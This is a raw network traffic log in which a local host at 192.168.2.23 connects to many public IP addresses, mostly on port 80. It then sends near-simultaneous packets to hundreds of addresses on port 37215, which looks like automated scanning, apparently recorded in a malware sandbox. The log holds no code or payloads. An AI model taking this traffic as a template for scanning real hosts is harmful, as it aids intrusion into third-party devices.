Dec 3, 2024 21:30:48.397325993 CET	48688	80	192.168.2.23	185.106.6.240
Dec 3, 2024 21:30:48.403744936 CET	40518	80	192.168.2.23	57.80.127.128
Dec 3, 2024 21:30:48.403747082 CET	36906	23	192.168.2.23	8.14.63.183
Dec 3, 2024 21:30:48.403748035 CET	57390	80	192.168.2.23	67.165.85.6
Dec 3, 2024 21:30:48.420583010 CET	80	59010	151.62.98.232	192.168.2.23
Dec 3, 2024 21:30:48.420620918 CET	80	59010	42.157.213.192	192.168.2.23
Dec 3, 2024 21:30:48.420629978 CET	80	59010	59.157.117.58	192.168.2.23
Dec 3, 2024 21:30:48.420790911 CET	59010	80	192.168.2.23	59.157.117.58
Dec 3, 2024 21:30:48.420800924 CET	59010	80	192.168.2.23	42.157.213.192
Dec 3, 2024 21:30:48.420803070 CET	59010	80	192.168.2.23	151.62.98.232
Dec 3, 2024 21:30:48.422210932 CET	80	60518	173.191.101.175	192.168.2.23
Dec 3, 2024 21:30:48.423005104 CET	80	36088	34.35.216.85	192.168.2.23
Dec 3, 2024 21:30:48.423738956 CET	80	37520	212.76.170.100	192.168.2.23
Dec 3, 2024 21:30:48.455332994 CET	80	54956	20.208.169.44	192.168.2.23
Dec 3, 2024 21:30:48.455369949 CET	80	55180	20.208.169.44	192.168.2.23
Dec 3, 2024 21:30:48.455507994 CET	80	38070	126.106.81.125	192.168.2.23
Dec 3, 2024 21:30:48.455565929 CET	80	38312	126.106.81.125	192.168.2.23
Dec 3, 2024 21:30:48.455573082 CET	55180	80	192.168.2.23	20.208.169.44
Dec 3, 2024 21:30:48.455573082 CET	55180	80	192.168.2.23	20.208.169.44
Dec 3, 2024 21:30:48.455610991 CET	38312	80	192.168.2.23	126.106.81.125
Dec 3, 2024 21:30:48.456003904 CET	40834	80	192.168.2.23	151.62.98.232
Dec 3, 2024 21:30:48.456599951 CET	34734	80	192.168.2.23	59.157.117.58
Dec 3, 2024 21:30:48.457181931 CET	41920	80	192.168.2.23	42.157.213.192
Dec 3, 2024 21:30:48.457581043 CET	38312	80	192.168.2.23	126.106.81.125
Dec 3, 2024 21:30:48.459882021 CET	80	60678	51.194.102.135	192.168.2.23
Dec 3, 2024 21:30:48.459913015 CET	80	57090	27.172.93.161	192.168.2.23
Dec 3, 2024 21:30:48.459938049 CET	60678	80	192.168.2.23	51.194.102.135
Dec 3, 2024 21:30:48.459954977 CET	57090	80	192.168.2.23	27.172.93.161
Dec 3, 2024 21:30:48.459971905 CET	60678	80	192.168.2.23	51.194.102.135
Dec 3, 2024 21:30:48.459983110 CET	57090	80	192.168.2.23	27.172.93.161
Dec 3, 2024 21:30:48.463913918 CET	80	37520	212.76.170.100	192.168.2.23
Dec 3, 2024 21:30:48.463947058 CET	80	36088	34.35.216.85	192.168.2.23
Dec 3, 2024 21:30:48.463984013 CET	80	60518	173.191.101.175	192.168.2.23
Dec 3, 2024 21:30:48.500047922 CET	80	38070	126.106.81.125	192.168.2.23
Dec 3, 2024 21:30:48.500092030 CET	80	54956	20.208.169.44	192.168.2.23
Dec 3, 2024 21:30:48.516401052 CET	80	53798	70.59.74.111	192.168.2.23
Dec 3, 2024 21:30:48.516597033 CET	80	53976	70.59.74.111	192.168.2.23
Dec 3, 2024 21:30:48.516719103 CET	53976	80	192.168.2.23	70.59.74.111
Dec 3, 2024 21:30:48.516855001 CET	80	48512	185.106.6.240	192.168.2.23
Dec 3, 2024 21:30:48.516948938 CET	53976	80	192.168.2.23	70.59.74.111
Dec 3, 2024 21:30:48.517231941 CET	80	48688	185.106.6.240	192.168.2.23
Dec 3, 2024 21:30:48.517292976 CET	48688	80	192.168.2.23	185.106.6.240
Dec 3, 2024 21:30:48.517338037 CET	48688	80	192.168.2.23	185.106.6.240
Dec 3, 2024 21:30:48.523796082 CET	80	40518	57.80.127.128	192.168.2.23
Dec 3, 2024 21:30:48.523821115 CET	23	36906	8.14.63.183	192.168.2.23
Dec 3, 2024 21:30:48.523858070 CET	80	57390	67.165.85.6	192.168.2.23
Dec 3, 2024 21:30:48.523858070 CET	40518	80	192.168.2.23	57.80.127.128
Dec 3, 2024 21:30:48.523880005 CET	40518	80	192.168.2.23	57.80.127.128
Dec 3, 2024 21:30:48.523899078 CET	36906	23	192.168.2.23	8.14.63.183
Dec 3, 2024 21:30:48.523904085 CET	57390	80	192.168.2.23	67.165.85.6
Dec 3, 2024 21:30:48.523937941 CET	57390	80	192.168.2.23	67.165.85.6
Dec 3, 2024 21:30:48.563960075 CET	80	48512	185.106.6.240	192.168.2.23
Dec 3, 2024 21:30:48.563990116 CET	80	53798	70.59.74.111	192.168.2.23
Dec 3, 2024 21:30:48.575951099 CET	80	55180	20.208.169.44	192.168.2.23
Dec 3, 2024 21:30:48.575978994 CET	80	40834	151.62.98.232	192.168.2.23
Dec 3, 2024 21:30:48.576255083 CET	80	55180	20.208.169.44	192.168.2.23
Dec 3, 2024 21:30:48.576294899 CET	40834	80	192.168.2.23	151.62.98.232
Dec 3, 2024 21:30:48.576296091 CET	40834	80	192.168.2.23	151.62.98.232
Dec 3, 2024 21:30:48.576296091 CET	40834	80	192.168.2.23	151.62.98.232
Dec 3, 2024 21:30:48.576328993 CET	55180	80	192.168.2.23	20.208.169.44
Dec 3, 2024 21:30:48.576559067 CET	80	34734	59.157.117.58	192.168.2.23
Dec 3, 2024 21:30:48.576611996 CET	34734	80	192.168.2.23	59.157.117.58
Dec 3, 2024 21:30:48.576932907 CET	40840	80	192.168.2.23	151.62.98.232
Dec 3, 2024 21:30:48.577359915 CET	34734	80	192.168.2.23	59.157.117.58
Dec 3, 2024 21:30:48.577359915 CET	34734	80	192.168.2.23	59.157.117.58
Dec 3, 2024 21:30:48.577431917 CET	80	41920	42.157.213.192	192.168.2.23
Dec 3, 2024 21:30:48.577476978 CET	41920	80	192.168.2.23	42.157.213.192
Dec 3, 2024 21:30:48.577585936 CET	80	38312	126.106.81.125	192.168.2.23
Dec 3, 2024 21:30:48.577635050 CET	38312	80	192.168.2.23	126.106.81.125
Dec 3, 2024 21:30:48.577649117 CET	34740	80	192.168.2.23	59.157.117.58
Dec 3, 2024 21:30:48.578053951 CET	41920	80	192.168.2.23	42.157.213.192
Dec 3, 2024 21:30:48.578053951 CET	41920	80	192.168.2.23	42.157.213.192
Dec 3, 2024 21:30:48.578341961 CET	41926	80	192.168.2.23	42.157.213.192
Dec 3, 2024 21:30:48.580790997 CET	80	60678	51.194.102.135	192.168.2.23
Dec 3, 2024 21:30:48.580845118 CET	60678	80	192.168.2.23	51.194.102.135
Dec 3, 2024 21:30:48.581057072 CET	80	57090	27.172.93.161	192.168.2.23
Dec 3, 2024 21:30:48.581109047 CET	57090	80	192.168.2.23	27.172.93.161
Dec 3, 2024 21:30:48.637265921 CET	80	53976	70.59.74.111	192.168.2.23
Dec 3, 2024 21:30:48.637485981 CET	53976	80	192.168.2.23	70.59.74.111
Dec 3, 2024 21:30:48.637655973 CET	80	48688	185.106.6.240	192.168.2.23
Dec 3, 2024 21:30:48.637773037 CET	48688	80	192.168.2.23	185.106.6.240
Dec 3, 2024 21:30:48.644903898 CET	80	40518	57.80.127.128	192.168.2.23
Dec 3, 2024 21:30:48.645003080 CET	40518	80	192.168.2.23	57.80.127.128
Dec 3, 2024 21:30:48.645282030 CET	80	57390	67.165.85.6	192.168.2.23
Dec 3, 2024 21:30:48.645335913 CET	57390	80	192.168.2.23	67.165.85.6
Dec 3, 2024 21:30:48.701443911 CET	80	40834	151.62.98.232	192.168.2.23
Dec 3, 2024 21:30:48.702198982 CET	80	40840	151.62.98.232	192.168.2.23
Dec 3, 2024 21:30:48.702306986 CET	40840	80	192.168.2.23	151.62.98.232
Dec 3, 2024 21:30:48.702545881 CET	40840	80	192.168.2.23	151.62.98.232
Dec 3, 2024 21:30:48.702708960 CET	80	34734	59.157.117.58	192.168.2.23
Dec 3, 2024 21:30:48.703058958 CET	80	34740	59.157.117.58	192.168.2.23
Dec 3, 2024 21:30:48.703113079 CET	34740	80	192.168.2.23	59.157.117.58
Dec 3, 2024 21:30:48.703160048 CET	34740	80	192.168.2.23	59.157.117.58
Dec 3, 2024 21:30:48.703476906 CET	80	41920	42.157.213.192	192.168.2.23
Dec 3, 2024 21:30:48.703830957 CET	80	41926	42.157.213.192	192.168.2.23
Dec 3, 2024 21:30:48.703892946 CET	41926	80	192.168.2.23	42.157.213.192
Dec 3, 2024 21:30:48.703928947 CET	41926	80	192.168.2.23	42.157.213.192
Dec 3, 2024 21:30:48.744142056 CET	80	41920	42.157.213.192	192.168.2.23
Dec 3, 2024 21:30:48.744158983 CET	80	34734	59.157.117.58	192.168.2.23
Dec 3, 2024 21:30:48.744168997 CET	80	40834	151.62.98.232	192.168.2.23
Dec 3, 2024 21:30:48.822717905 CET	80	40840	151.62.98.232	192.168.2.23
Dec 3, 2024 21:30:48.822918892 CET	40840	80	192.168.2.23	151.62.98.232
Dec 3, 2024 21:30:48.823321104 CET	80	34740	59.157.117.58	192.168.2.23
Dec 3, 2024 21:30:48.823367119 CET	34740	80	192.168.2.23	59.157.117.58
Dec 3, 2024 21:30:48.824794054 CET	80	41926	42.157.213.192	192.168.2.23
Dec 3, 2024 21:30:48.824848890 CET	41926	80	192.168.2.23	42.157.213.192
Dec 3, 2024 21:30:49.128752947 CET	59009	37215	192.168.2.23	197.50.83.42
Dec 3, 2024 21:30:49.128753901 CET	59009	37215	192.168.2.23	156.69.33.115
Dec 3, 2024 21:30:49.128755093 CET	59009	37215	192.168.2.23	156.110.125.63
Dec 3, 2024 21:30:49.128757000 CET	59009	37215	192.168.2.23	41.91.233.173
Dec 3, 2024 21:30:49.128758907 CET	59009	37215	192.168.2.23	197.2.94.37
Dec 3, 2024 21:30:49.128757954 CET	59009	37215	192.168.2.23	156.70.75.133
Dec 3, 2024 21:30:49.128755093 CET	59009	37215	192.168.2.23	197.20.1.232
Dec 3, 2024 21:30:49.128758907 CET	59009	37215	192.168.2.23	156.188.250.125
Dec 3, 2024 21:30:49.128758907 CET	59009	37215	192.168.2.23	41.242.244.42
Dec 3, 2024 21:30:49.128757954 CET	59009	37215	192.168.2.23	41.68.120.66
Dec 3, 2024 21:30:49.128758907 CET	59009	37215	192.168.2.23	197.101.2.157
Dec 3, 2024 21:30:49.128758907 CET	59009	37215	192.168.2.23	156.6.99.220
Dec 3, 2024 21:30:49.128753901 CET	59009	37215	192.168.2.23	197.9.55.89
Dec 3, 2024 21:30:49.128758907 CET	59009	37215	192.168.2.23	156.190.237.45
Dec 3, 2024 21:30:49.128753901 CET	59009	37215	192.168.2.23	197.222.83.103
Dec 3, 2024 21:30:49.128758907 CET	59009	37215	192.168.2.23	41.132.216.164
Dec 3, 2024 21:30:49.128758907 CET	59009	37215	192.168.2.23	197.142.116.145
Dec 3, 2024 21:30:49.128758907 CET	59009	37215	192.168.2.23	156.82.100.7
Dec 3, 2024 21:30:49.128752947 CET	59009	37215	192.168.2.23	197.158.250.72
Dec 3, 2024 21:30:49.128760099 CET	59009	37215	192.168.2.23	41.89.56.199
Dec 3, 2024 21:30:49.128752947 CET	59009	37215	192.168.2.23	197.119.240.72
Dec 3, 2024 21:30:49.128757954 CET	59009	37215	192.168.2.23	197.166.189.254
Dec 3, 2024 21:30:49.128760099 CET	59009	37215	192.168.2.23	156.180.71.22
Dec 3, 2024 21:30:49.128752947 CET	59009	37215	192.168.2.23	197.54.174.254
Dec 3, 2024 21:30:49.128758907 CET	59009	37215	192.168.2.23	156.254.240.189
Dec 3, 2024 21:30:49.128760099 CET	59009	37215	192.168.2.23	41.218.18.192
Dec 3, 2024 21:30:49.128752947 CET	59009	37215	192.168.2.23	156.209.214.149
Dec 3, 2024 21:30:49.128827095 CET	59009	37215	192.168.2.23	156.145.198.116
Dec 3, 2024 21:30:49.128828049 CET	59009	37215	192.168.2.23	156.124.6.20
Dec 3, 2024 21:30:49.128827095 CET	59009	37215	192.168.2.23	197.108.27.186
Dec 3, 2024 21:30:49.128828049 CET	59009	37215	192.168.2.23	41.41.62.85
Dec 3, 2024 21:30:49.128827095 CET	59009	37215	192.168.2.23	197.79.214.113
Dec 3, 2024 21:30:49.128828049 CET	59009	37215	192.168.2.23	156.63.118.237
Dec 3, 2024 21:30:49.128828049 CET	59009	37215	192.168.2.23	41.100.82.80
Dec 3, 2024 21:30:49.128828049 CET	59009	37215	192.168.2.23	156.248.22.235
Dec 3, 2024 21:30:49.128828049 CET	59009	37215	192.168.2.23	41.97.116.95
Dec 3, 2024 21:30:49.128829002 CET	59009	37215	192.168.2.23	41.78.79.219
Dec 3, 2024 21:30:49.128828049 CET	59009	37215	192.168.2.23	197.35.188.58
Dec 3, 2024 21:30:49.128829956 CET	59009	37215	192.168.2.23	156.82.136.102
Dec 3, 2024 21:30:49.128828049 CET	59009	37215	192.168.2.23	197.133.101.219
Dec 3, 2024 21:30:49.128829956 CET	59009	37215	192.168.2.23	41.183.207.233
Dec 3, 2024 21:30:49.128829956 CET	59009	37215	192.168.2.23	41.234.119.46
Dec 3, 2024 21:30:49.128829956 CET	59009	37215	192.168.2.23	197.142.63.211
Dec 3, 2024 21:30:49.128829956 CET	59009	37215	192.168.2.23	41.237.179.59
Dec 3, 2024 21:30:49.128829956 CET	59009	37215	192.168.2.23	156.219.74.61
Dec 3, 2024 21:30:49.128829956 CET	59009	37215	192.168.2.23	156.247.59.94
Dec 3, 2024 21:30:49.128848076 CET	59009	37215	192.168.2.23	156.159.12.120
Dec 3, 2024 21:30:49.128848076 CET	59009	37215	192.168.2.23	156.245.169.115
Dec 3, 2024 21:30:49.128848076 CET	59009	37215	192.168.2.23	156.147.54.190
Dec 3, 2024 21:30:49.128848076 CET	59009	37215	192.168.2.23	156.18.88.219
Dec 3, 2024 21:30:49.128848076 CET	59009	37215	192.168.2.23	197.40.117.40
Dec 3, 2024 21:30:49.128848076 CET	59009	37215	192.168.2.23	197.110.220.245
Dec 3, 2024 21:30:49.128848076 CET	59009	37215	192.168.2.23	156.228.12.69
Dec 3, 2024 21:30:49.128848076 CET	59009	37215	192.168.2.23	156.208.144.191
Dec 3, 2024 21:30:49.128849983 CET	59009	37215	192.168.2.23	197.61.249.158
Dec 3, 2024 21:30:49.128849983 CET	59009	37215	192.168.2.23	156.49.47.44
Dec 3, 2024 21:30:49.128849983 CET	59009	37215	192.168.2.23	156.146.30.0
Dec 3, 2024 21:30:49.128849983 CET	59009	37215	192.168.2.23	41.34.28.62
Dec 3, 2024 21:30:49.128849983 CET	59009	37215	192.168.2.23	197.222.17.240
Dec 3, 2024 21:30:49.128849983 CET	59009	37215	192.168.2.23	197.141.230.40
Dec 3, 2024 21:30:49.128849983 CET	59009	37215	192.168.2.23	197.149.25.70
Dec 3, 2024 21:30:49.128849983 CET	59009	37215	192.168.2.23	41.199.240.185
Dec 3, 2024 21:30:49.128854990 CET	59009	37215	192.168.2.23	197.49.211.124
Dec 3, 2024 21:30:49.128854990 CET	59009	37215	192.168.2.23	197.228.103.42
Dec 3, 2024 21:30:49.128854990 CET	59009	37215	192.168.2.23	156.204.211.160
Dec 3, 2024 21:30:49.128854990 CET	59009	37215	192.168.2.23	197.88.126.13
Dec 3, 2024 21:30:49.128854990 CET	59009	37215	192.168.2.23	197.207.40.84
Dec 3, 2024 21:30:49.128854990 CET	59009	37215	192.168.2.23	41.26.80.165
Dec 3, 2024 21:30:49.128854990 CET	59009	37215	192.168.2.23	156.120.59.28
Dec 3, 2024 21:30:49.128854990 CET	59009	37215	192.168.2.23	41.216.165.41
Dec 3, 2024 21:30:49.128861904 CET	59009	37215	192.168.2.23	41.91.190.34
Dec 3, 2024 21:30:49.128861904 CET	59009	37215	192.168.2.23	41.8.165.130
Dec 3, 2024 21:30:49.128864050 CET	59009	37215	192.168.2.23	197.103.240.243
Dec 3, 2024 21:30:49.128861904 CET	59009	37215	192.168.2.23	197.56.213.2
Dec 3, 2024 21:30:49.128861904 CET	59009	37215	192.168.2.23	156.54.139.254
Dec 3, 2024 21:30:49.128861904 CET	59009	37215	192.168.2.23	41.189.47.22
Dec 3, 2024 21:30:49.128861904 CET	59009	37215	192.168.2.23	197.255.62.184
Dec 3, 2024 21:30:49.128861904 CET	59009	37215	192.168.2.23	197.170.112.104
Dec 3, 2024 21:30:49.128863096 CET	59009	37215	192.168.2.23	156.253.236.36
Dec 3, 2024 21:30:49.128863096 CET	59009	37215	192.168.2.23	41.205.250.101
Dec 3, 2024 21:30:49.128870964 CET	59009	37215	192.168.2.23	197.113.190.120
Dec 3, 2024 21:30:49.128870964 CET	59009	37215	192.168.2.23	41.110.102.209
Dec 3, 2024 21:30:49.128870964 CET	59009	37215	192.168.2.23	41.22.201.174
Dec 3, 2024 21:30:49.128879070 CET	59009	37215	192.168.2.23	41.95.251.129
Dec 3, 2024 21:30:49.128861904 CET	59009	37215	192.168.2.23	156.105.248.33
Dec 3, 2024 21:30:49.128879070 CET	59009	37215	192.168.2.23	41.122.41.132
Dec 3, 2024 21:30:49.128861904 CET	59009	37215	192.168.2.23	156.27.223.3
Dec 3, 2024 21:30:49.128879070 CET	59009	37215	192.168.2.23	41.40.93.237
Dec 3, 2024 21:30:49.128861904 CET	59009	37215	192.168.2.23	197.230.115.19
Dec 3, 2024 21:30:49.128879070 CET	59009	37215	192.168.2.23	156.108.198.208
Dec 3, 2024 21:30:49.128863096 CET	59009	37215	192.168.2.23	197.249.142.151
Dec 3, 2024 21:30:49.128879070 CET	59009	37215	192.168.2.23	156.179.248.202
Dec 3, 2024 21:30:49.128881931 CET	59009	37215	192.168.2.23	41.182.23.233
Dec 3, 2024 21:30:49.128879070 CET	59009	37215	192.168.2.23	41.148.31.215
Dec 3, 2024 21:30:49.128882885 CET	59009	37215	192.168.2.23	156.81.155.233
Dec 3, 2024 21:30:49.128879070 CET	59009	37215	192.168.2.23	41.10.45.194
Dec 3, 2024 21:30:49.128882885 CET	59009	37215	192.168.2.23	156.111.62.215
Dec 3, 2024 21:30:49.128881931 CET	59009	37215	192.168.2.23	41.192.18.137
Dec 3, 2024 21:30:49.128882885 CET	59009	37215	192.168.2.23	156.65.119.46
Dec 3, 2024 21:30:49.128879070 CET	59009	37215	192.168.2.23	156.54.30.178
Dec 3, 2024 21:30:49.128882885 CET	59009	37215	192.168.2.23	197.22.22.109
Dec 3, 2024 21:30:49.128891945 CET	59009	37215	192.168.2.23	197.169.140.103
Dec 3, 2024 21:30:49.128897905 CET	59009	37215	192.168.2.23	197.140.54.210
Dec 3, 2024 21:30:49.128899097 CET	59009	37215	192.168.2.23	197.225.214.38
Dec 3, 2024 21:30:49.128899097 CET	59009	37215	192.168.2.23	197.214.72.120
Dec 3, 2024 21:30:49.128899097 CET	59009	37215	192.168.2.23	41.191.21.171
Dec 3, 2024 21:30:49.128899097 CET	59009	37215	192.168.2.23	156.201.46.200
Dec 3, 2024 21:30:49.128901005 CET	59009	37215	192.168.2.23	41.90.200.222
Dec 3, 2024 21:30:49.128901005 CET	59009	37215	192.168.2.23	41.73.247.236
Dec 3, 2024 21:30:49.128901005 CET	59009	37215	192.168.2.23	156.125.227.79
Dec 3, 2024 21:30:49.128901005 CET	59009	37215	192.168.2.23	197.65.29.80
Dec 3, 2024 21:30:49.128901005 CET	59009	37215	192.168.2.23	156.43.76.114
Dec 3, 2024 21:30:49.128901005 CET	59009	37215	192.168.2.23	156.177.216.82
Dec 3, 2024 21:30:49.128901005 CET	59009	37215	192.168.2.23	41.19.252.192
Dec 3, 2024 21:30:49.128909111 CET	59009	37215	192.168.2.23	41.231.229.140
Dec 3, 2024 21:30:49.128909111 CET	59009	37215	192.168.2.23	197.73.131.111
Dec 3, 2024 21:30:49.128909111 CET	59009	37215	192.168.2.23	41.148.228.241
Dec 3, 2024 21:30:49.128909111 CET	59009	37215	192.168.2.23	197.102.221.51
Dec 3, 2024 21:30:49.128909111 CET	59009	37215	192.168.2.23	41.189.152.19
Dec 3, 2024 21:30:49.128909111 CET	59009	37215	192.168.2.23	156.96.158.55
Dec 3, 2024 21:30:49.128910065 CET	59009	37215	192.168.2.23	197.88.64.117
Dec 3, 2024 21:30:49.128910065 CET	59009	37215	192.168.2.23	41.236.81.48
Dec 3, 2024 21:30:49.128911972 CET	59009	37215	192.168.2.23	197.88.82.188
Dec 3, 2024 21:30:49.128911972 CET	59009	37215	192.168.2.23	197.54.47.67
Dec 3, 2024 21:30:49.128911972 CET	59009	37215	192.168.2.23	41.10.31.198
Dec 3, 2024 21:30:49.128911972 CET	59009	37215	192.168.2.23	197.181.141.246
Dec 3, 2024 21:30:49.128914118 CET	59009	37215	192.168.2.23	41.78.166.23
Dec 3, 2024 21:30:49.128915071 CET	59009	37215	192.168.2.23	156.39.135.95
Dec 3, 2024 21:30:49.128915071 CET	59009	37215	192.168.2.23	197.69.179.103
Dec 3, 2024 21:30:49.128915071 CET	59009	37215	192.168.2.23	197.47.13.50
Dec 3, 2024 21:30:49.128915071 CET	59009	37215	192.168.2.23	156.124.29.53
Dec 3, 2024 21:30:49.128915071 CET	59009	37215	192.168.2.23	197.30.21.250
Dec 3, 2024 21:30:49.128915071 CET	59009	37215	192.168.2.23	156.123.210.225
Dec 3, 2024 21:30:49.128915071 CET	59009	37215	192.168.2.23	197.190.48.85
Dec 3, 2024 21:30:49.128916979 CET	59009	37215	192.168.2.23	197.73.213.145
Dec 3, 2024 21:30:49.128916979 CET	59009	37215	192.168.2.23	156.154.246.12
Dec 3, 2024 21:30:49.128916979 CET	59009	37215	192.168.2.23	156.201.163.144
Dec 3, 2024 21:30:49.128917933 CET	59009	37215	192.168.2.23	156.79.160.146
Dec 3, 2024 21:30:49.128918886 CET	59009	37215	192.168.2.23	156.250.131.40
Dec 3, 2024 21:30:49.128917933 CET	59009	37215	192.168.2.23	156.23.123.55
Dec 3, 2024 21:30:49.128918886 CET	59009	37215	192.168.2.23	41.233.88.177
Dec 3, 2024 21:30:49.128920078 CET	59009	37215	192.168.2.23	41.109.143.93
Dec 3, 2024 21:30:49.128918886 CET	59009	37215	192.168.2.23	41.179.218.98
Dec 3, 2024 21:30:49.128917933 CET	59009	37215	192.168.2.23	197.89.139.187
Dec 3, 2024 21:30:49.128917933 CET	59009	37215	192.168.2.23	41.0.174.9
Dec 3, 2024 21:30:49.128917933 CET	59009	37215	192.168.2.23	197.175.71.194
Dec 3, 2024 21:30:49.128921032 CET	59009	37215	192.168.2.23	41.86.62.136
Dec 3, 2024 21:30:49.128920078 CET	59009	37215	192.168.2.23	197.106.189.225
Dec 3, 2024 21:30:49.128920078 CET	59009	37215	192.168.2.23	197.140.243.253
Dec 3, 2024 21:30:49.128920078 CET	59009	37215	192.168.2.23	41.245.237.255
Dec 3, 2024 21:30:49.128925085 CET	59009	37215	192.168.2.23	156.72.123.174
Dec 3, 2024 21:30:49.128925085 CET	59009	37215	192.168.2.23	197.164.179.183
Dec 3, 2024 21:30:49.128925085 CET	59009	37215	192.168.2.23	197.252.119.34
Dec 3, 2024 21:30:49.128925085 CET	59009	37215	192.168.2.23	156.0.51.132
Dec 3, 2024 21:30:49.128925085 CET	59009	37215	192.168.2.23	41.209.143.46
Dec 3, 2024 21:30:49.128925085 CET	59009	37215	192.168.2.23	156.88.185.40
Dec 3, 2024 21:30:49.128925085 CET	59009	37215	192.168.2.23	41.119.17.199
Dec 3, 2024 21:30:49.128925085 CET	59009	37215	192.168.2.23	197.195.244.2
Dec 3, 2024 21:30:49.128927946 CET	59009	37215	192.168.2.23	197.57.144.112
Dec 3, 2024 21:30:49.128930092 CET	59009	37215	192.168.2.23	41.31.152.217
Dec 3, 2024 21:30:49.128930092 CET	59009	37215	192.168.2.23	41.85.45.56
Dec 3, 2024 21:30:49.128931999 CET	59009	37215	192.168.2.23	41.71.40.74
Dec 3, 2024 21:30:49.128931999 CET	59009	37215	192.168.2.23	41.125.49.196
Dec 3, 2024 21:30:49.128931999 CET	59009	37215	192.168.2.23	41.94.238.159
Dec 3, 2024 21:30:49.128932953 CET	59009	37215	192.168.2.23	41.147.23.91
Dec 3, 2024 21:30:49.128938913 CET	59009	37215	192.168.2.23	197.4.252.115
Dec 3, 2024 21:30:49.128940105 CET	59009	37215	192.168.2.23	41.14.161.5
Dec 3, 2024 21:30:49.128942013 CET	59009	37215	192.168.2.23	197.45.101.218
Dec 3, 2024 21:30:49.128942013 CET	59009	37215	192.168.2.23	156.21.89.7
Dec 3, 2024 21:30:49.128942013 CET	59009	37215	192.168.2.23	197.176.162.221
Dec 3, 2024 21:30:49.128942013 CET	59009	37215	192.168.2.23	197.9.50.17
Dec 3, 2024 21:30:49.128942013 CET	59009	37215	192.168.2.23	156.215.172.38
Dec 3, 2024 21:30:49.128942013 CET	59009	37215	192.168.2.23	197.178.58.120
Dec 3, 2024 21:30:49.128950119 CET	59009	37215	192.168.2.23	41.91.205.1
Dec 3, 2024 21:30:49.128957033 CET	59009	37215	192.168.2.23	156.226.113.106
Dec 3, 2024 21:30:49.128963947 CET	59009	37215	192.168.2.23	41.154.100.154
Dec 3, 2024 21:30:49.128973961 CET	59009	37215	192.168.2.23	156.228.215.206
Dec 3, 2024 21:30:49.128979921 CET	59009	37215	192.168.2.23	156.235.252.10
Dec 3, 2024 21:30:49.128992081 CET	59009	37215	192.168.2.23	197.208.2.218
Dec 3, 2024 21:30:49.128998995 CET	59009	37215	192.168.2.23	41.21.228.221
Dec 3, 2024 21:30:49.129000902 CET	59009	37215	192.168.2.23	156.35.87.175
Dec 3, 2024 21:30:49.129004955 CET	59009	37215	192.168.2.23	156.62.117.60
Dec 3, 2024 21:30:49.129028082 CET	59009	37215	192.168.2.23	41.8.186.141
Dec 3, 2024 21:30:49.129029036 CET	59009	37215	192.168.2.23	197.176.168.225
Dec 3, 2024 21:30:49.129029036 CET	59009	37215	192.168.2.23	197.124.133.175
Dec 3, 2024 21:30:49.129031897 CET	59009	37215	192.168.2.23	197.15.124.9
Dec 3, 2024 21:30:49.129033089 CET	59009	37215	192.168.2.23	197.202.108.204
Dec 3, 2024 21:30:49.129033089 CET	59009	37215	192.168.2.23	41.217.64.193
Dec 3, 2024 21:30:49.129040956 CET	59009	37215	192.168.2.23	156.142.249.216
Dec 3, 2024 21:30:49.129048109 CET	59009	37215	192.168.2.23	197.79.42.55
Dec 3, 2024 21:30:49.129056931 CET	59009	37215	192.168.2.23	41.154.75.189
Dec 3, 2024 21:30:49.129060984 CET	59009	37215	192.168.2.23	156.117.134.105
Dec 3, 2024 21:30:49.129066944 CET	59009	37215	192.168.2.23	41.193.242.152
Dec 3, 2024 21:30:49.129069090 CET	59009	37215	192.168.2.23	156.130.64.124
Dec 3, 2024 21:30:49.129070044 CET	59009	37215	192.168.2.23	41.197.190.84
Dec 3, 2024 21:30:49.129076004 CET	59009	37215	192.168.2.23	156.156.199.83
Dec 3, 2024 21:30:49.129087925 CET	59009	37215	192.168.2.23	156.187.15.94
Dec 3, 2024 21:30:49.129090071 CET	59009	37215	192.168.2.23	197.81.174.61
Dec 3, 2024 21:30:49.129102945 CET	59009	37215	192.168.2.23	197.96.234.34
Dec 3, 2024 21:30:49.129103899 CET	59009	37215	192.168.2.23	156.214.134.171
Dec 3, 2024 21:30:49.129110098 CET	59009	37215	192.168.2.23	197.142.171.4
Dec 3, 2024 21:30:49.129122972 CET	59009	37215	192.168.2.23	156.27.190.181
Dec 3, 2024 21:30:49.129125118 CET	59009	37215	192.168.2.23	41.44.217.224
Dec 3, 2024 21:30:49.129126072 CET	59009	37215	192.168.2.23	197.31.58.10
Dec 3, 2024 21:30:49.129137039 CET	59009	37215	192.168.2.23	197.205.61.255
Dec 3, 2024 21:30:49.129143953 CET	59009	37215	192.168.2.23	197.188.214.146
Dec 3, 2024 21:30:49.129147053 CET	59009	37215	192.168.2.23	41.35.194.76
Dec 3, 2024 21:30:49.129154921 CET	59009	37215	192.168.2.23	41.116.45.108
Dec 3, 2024 21:30:49.129162073 CET	59009	37215	192.168.2.23	41.134.170.37
Dec 3, 2024 21:30:49.129173994 CET	59009	37215	192.168.2.23	156.231.135.251
Dec 3, 2024 21:30:49.129173994 CET	59009	37215	192.168.2.23	41.5.19.137
Dec 3, 2024 21:30:49.129189014 CET	59009	37215	192.168.2.23	156.235.254.214
Dec 3, 2024 21:30:49.129189014 CET	59009	37215	192.168.2.23	156.219.160.244
Dec 3, 2024 21:30:49.129195929 CET	59009	37215	192.168.2.23	197.173.102.93
Dec 3, 2024 21:30:49.129204988 CET	59009	37215	192.168.2.23	41.174.144.253
Dec 3, 2024 21:30:49.129208088 CET	59009	37215	192.168.2.23	197.11.166.219
Dec 3, 2024 21:30:49.129208088 CET	59009	37215	192.168.2.23	197.185.77.192
Dec 3, 2024 21:30:49.129223108 CET	59009	37215	192.168.2.23	197.122.126.157
Dec 3, 2024 21:30:49.129225016 CET	59009	37215	192.168.2.23	197.5.236.221
Dec 3, 2024 21:30:49.129225016 CET	59009	37215	192.168.2.23	41.249.158.75
Dec 3, 2024 21:30:49.129229069 CET	59009	37215	192.168.2.23	41.91.207.136
Dec 3, 2024 21:30:49.129249096 CET	59009	37215	192.168.2.23	197.119.161.200
Dec 3, 2024 21:30:49.129249096 CET	59009	37215	192.168.2.23	41.107.86.172
Dec 3, 2024 21:30:49.129251957 CET	59009	37215	192.168.2.23	41.162.248.179
Dec 3, 2024 21:30:49.129251957 CET	59009	37215	192.168.2.23	156.241.80.10
Dec 3, 2024 21:30:49.129264116 CET	59009	37215	192.168.2.23	41.82.234.65
Dec 3, 2024 21:30:49.129264116 CET	59009	37215	192.168.2.23	156.76.150.111
Dec 3, 2024 21:30:49.129265070 CET	59009	37215	192.168.2.23	41.65.159.156
Dec 3, 2024 21:30:49.129265070 CET	59009	37215	192.168.2.23	197.132.49.130
